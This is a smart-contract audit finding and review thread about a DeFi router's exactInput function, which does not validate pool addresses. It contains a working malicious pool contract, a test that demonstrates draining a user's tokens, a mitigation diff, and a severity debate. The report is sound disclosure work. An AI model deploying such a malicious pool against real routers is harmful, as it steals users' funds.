`exactInput` allows stealing of funds via a malicious pool contract

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-Stealth-Project/blob/fc8589d7d8c1d8488fd97ccc46e1ff11c8426ac2/router-v1/contracts/Router.sol#L151 https://github.com/code-423n4/2022-12-Stealth-Project/blob/fc8589d7d8c1d8488fd97ccc46e1ff11c8426ac2/router-v1/contracts/Router.sol#L128

Vulnerability details

Impact

Users can lose funds during swapping.

Proof of Concept

The Router contract is a higher level contract that will be used by the majority of the users. The contract implements the exactInput functions that users call to perform multiple swaps in a single transaction. The key argument of the function is the path: an encoded list of "input token, pool address, output token" tuples that defines the series of swaps to be made by the function. On every iteration, the exactInput function extracts next tuple from the path and calls the extracted pool address to perform a swap (Router.sol#L149-L154, Router.sol#L128):

params.amountIn = exactInputInternal(
    params.amountIn,
    stillMultiPoolSwap ? address(this) : params.recipient,
    0,
    SwapCallbackData({path: params.path.getFirstPool(), payer: payer, exactOutput: false})
);

(, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));

However, the pool address is not verified before being called. An attacker may trick a user into calling exactInput with a malicious contract as a pool and steal user's funds. Despite the requirement to force a user to sign a transaction, the difficulty of this attack is low for several reasons:

1. The path argument is always built by a front-end applications: users never fill it manually and have to trust front ends to properly fill the path for them. For example, Uniswap implements a complex router that builds optimized paths. It's expected that the audited project will also implement a similar router, and the users will always use the paths generated by the router without checking them. Moreover, the path argument is encoded as a byte array, which makes it hard to read and verify in a wallet.
2. The attack is performed by the official Router contract: users may have it added to the list of known contracts (a feature supported by MetaMask) and execute a transaction from a malicious front-end application thinking that, since the official Router contract is called, they're safe.

An example of a malicious pool contract:

// router-v1/contracts/audit/AuditSwapExploit.sol
// SPDX-License-Identifier: unlicensed
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IRouter.sol";

contract AuditSwapExploit {
  address tokenAddress;

  constructor(address tokenAddress_) {
    tokenAddress = tokenAddress_;
  }

  function swap(address /*recipient*/, uint256 amount, bool /*tokenAIn*/, bool /*exactOutput*/, uint256 /*sqrtPriceLimit*/, bytes calldata /*data*/) external returns (uint256 amountIn, uint256 amountOut) {
    IRouter(msg.sender).sweepToken(IERC20(tokenAddress), 0, address(this));

    amountIn = amount;
    amountOut = type(uint256).max;
  }
}

A coded proof of concept that demonstrates an attack using the above contract:

// router-v1/test/Router.ts
//   describe("#swap exact in", () => {
it("allows to steal funds [AUDIT]", async () => {
  let poolWETHB: string = await getEthBPool(0.05, 2);

  // Deploying a exploit.
  const factory = await ethers.getContractFactory("AuditSwapExploit", {});
  const exploit = await factory.deploy(tokenB.address);
  await exploit.deployed();

  const preExploitBalance = await balances(exploit.address);
  const preOwnerBalance = await balances(await owner.getAddress());

  // The attacker injects their exploit in the path.
  let path = encodePath([
    weth9.address,
    poolWETHB,
    tokenB.address,
    exploit.address,
    tokenA.address,
  ]);
  await router.exactInput({
    path: path,
    recipient: await owner.getAddress(),
    deadline: maxDeadline,
    amountIn: floatToFixed(1),
    amountOutMinimum: 0
  });

  const postExploitBalance = await balances(exploit.address);
  const postOwnerBalance = await balances(await owner.getAddress());

  // User has spent WETH...
  expect(postOwnerBalance.weth9 - preOwnerBalance.weth9).to.eq(-1);

  // ... but hasn't received any tokens.
  expect(postOwnerBalance.tokenA - preOwnerBalance.tokenA).to.eq(0);
  expect(postOwnerBalance.tokenB - preOwnerBalance.tokenB).to.eq(0);

  // The exploit contract has received token B.
  expect(postExploitBalance.tokenA - preExploitBalance.tokenA).to.eq(0);
  expect(postExploitBalance.tokenB - preExploitBalance.tokenB).to.eq(0.817728003274796);
});

Tools Used

Manual review

Recommended Mitigation Steps

Consider always checking that pools being called in the Router were created through the Factory:

--- a/router-v1/contracts/Router.sol
+++ b/router-v1/contracts/Router.sol
@@ -125,6 +125,7 @@ contract Router is IRouter, Multicall, SelfPermit, Deadline {

         bool tokenAIn = tokenIn < tokenOut;

+        require(factory.isFactoryPool(IPool(pool)), "Unsupported pool");
         (, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));
     }

[hansfriese]

An attacker may trick a user into calling exactInput with a malicious contract as a pool and steal user's funds

I wonder if this is the protocol's concern.

[Jeiwan]

@hansfriese Protocols may have different concerns. This project submitted their code for audit, and our goal is to discover as many attack vectors as possible.

Btw, Uniswap is not exposed to this attack.

[hansfriese]

@Jeiwan Agree with you. At least the mitigation is clear. I was just curious.

[Jeiwan]

@hansfriese In this specific case users have to trust a front end to build the path argument for them. Users never fill it manually or verify it before sending a transaction. And it's not realistic to ask them to do so because the path is a byte array containing pool addresses: it's not readable and users usually don't know which pools are legit and which ones are not (the contract must check this for them). So, yeah, it might seem like an attack vector that's outside of the protocol (like, forcing users to send their tokens to an attacker), but this subtle difference changes everything.

[gte620v]

This is a dup of #97

Disagree. For this to be a problem, a user has to choose to call this function with a malicious pool as one of the inputs. There are many ways for a user to misuse a smart contract. This is analogous to inputing more tokens than the user intended to swap; ie, it is equivalent to a user error.

There are even use cases where a user values this feature because it lets them include a path that has a pool address from another protocol that implements the pool interface that the router expects.

If a frontend is compromised, this is the least of your worries. With a compromised frontend, the attacker can route a user to any contract.

[c4-sponsor]

gte620v marked the issue as sponsor disputed

[Jeiwan]

With a compromised frontend, the attacker can route a user to any contract.

As long as contracts allow that. If we take Uniswap V3 as a reference, the Router contract won't allow to route a user through pools not created via the official Factory contract. So, the Stealth Project is vulnerable to this attack vector, while Uniswap V3 isn't.

[kirk-baird]

The design choice to allow third parties to create and use their own Pool in conjunction with Stealth Project Pools is a genuine use case which may make the mitigation invalid.

A malicious pool included in the path would allow for for draining funds for a user.

I consider this a valid Medium as there is an attack vector in the code however it should be protected against by the front-end only selecting the path from factory created pools.

[c4-judge]

kirk-baird changed the severity to 2 (Med Risk)

[c4-judge]

kirk-baird marked the issue as satisfactory

[c4-judge]

kirk-baird marked the issue as primary issue

[c4-judge]

kirk-baird marked the issue as selected for report